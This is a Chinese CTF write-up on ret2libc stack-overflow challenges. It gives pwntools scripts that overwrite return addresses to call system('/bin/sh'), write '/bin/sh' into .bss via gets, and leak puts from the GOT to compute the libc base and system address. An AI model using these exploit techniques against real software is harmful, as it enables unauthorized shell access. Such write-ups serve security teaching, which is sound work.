0
点赞
收藏
分享

微信扫一扫

[pwn] 5.ROP-ret2libc


文章目录

  • ​​题目ret2libc1​​
  • ​​题目ret2libc2​​
  • ​​题目ret2libc3​​

题目ret2libc1


[pwn] 5.ROP-ret2libc_system函数[pwn] 5.ROP-ret2libc_系统安全_02[pwn] 5.ROP-ret2libc_系统安全_03

这里需要通过gets函数覆盖返回地址到system函数,并把​​/bin/sh​​作为system的参数。

由于是动态链接,所以需要把返回地址原本写system函数的地址改为system函数在plt表中的地址。

from pwn import *

elf = ELF("./ret2libc1")
sys_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))

io = process("./ret2libc1")
io.recvline()
payload = b'a'*(108+4) + p32(sys_addr) + b'1111' + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

题目ret2libc2

相比于ret2libc1来说没有​​/bin/sh​​​, 需要想到要往其中写入。这时就得想到​​.bss​​​节可以写。
payload栈结构如下图。
[pwn] 5.ROP-ret2libc_system函数_04

from pwn import *

elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080

io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(sys_addr) + p32(buf_addr) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

或者通过​​pop、ret​​​方法平衡栈
[pwn] 5.ROP-ret2libc_安全_05

from pwn import *

elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
pop_ebx_ret_addr = 0x0804872f

io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(pop_ebx_ret_addr) + p32(buf_addr) + \
p32(sys_addr) + p32(1) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

题目ret2libc3

反编译代码
[pwn] 5.ROP-ret2libc_安全_06
初始时main函数中的栈帧
[pwn] 5.ROP-ret2libc_安全_07
调用printf_message函数中的strcpy函数时的栈帧
[pwn] 5.ROP-ret2libc_web安全_08
可以在第二个输入时构造payload,覆盖返回地址
[pwn] 5.ROP-ret2libc_系统安全_09

通过内存泄漏,找到puts函数的真实地址
[pwn] 5.ROP-ret2libc_linux_10
找到libc里system函数和puts函数地址差,从而得到system函数的地址
[pwn] 5.ROP-ret2libc_安全_11

需要注意动态库每次装载时都会被装在到不同的地方,所以只能先获取system相对puts函数的偏移量。然后根据程序运行时得到的puts函数的真实地址得到system函数的真实地址。

通过pwndgb可以计算出第二次输入时需要覆盖的长度[pwn] 5.ROP-ret2libc_安全_12
​​​0xffffd010 - 0xffffd048 = -56​​,所以需要覆盖56+4=60个字节长度

​system("/bin/sh")​​​和​​system("sh")​​​都可以执行shell,所以这里在程序里找到一个以​​sh​​结尾的地址作为system的参数

但是最后打不通,后来发现是libc文件的问题
linux下的命令​​ldd​​是列出动态库的依赖关系,发现用的是​​/lib/i386-linux-gnu/libc.so.6​

from pwn import *

elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./ret2libc3")

io.sendlineafter(b'Give me an address (in dec) :', str(elf.got['puts']))
io.recvuntil(b'The content of the address : ')
libcBase = int(io.recvuntil(b'\n', drop=True), 16) - libc.symbols['puts']

sh_addr = next(elf.search(b'sh\x00'))
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
# cyclic(n)填充n字节的垃圾数据
io.sendlineafter(b'Leave some message for me :', payload)
io.interactive()

还有一个讨巧的方法,是用one_gadget来打,运气好的话可以打通
[pwn] 5.ROP-ret2libc_系统安全_13
one_gadget是找libc文件中可以执行shell的程序的软件,每条语句都会有限制条件,如果满足限制条件的话才能打通。

payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
改成
payload = flat(cyclic(60),libcBase+0x3a80c)
挨个地址试一试


举报

相关推荐

0 条评论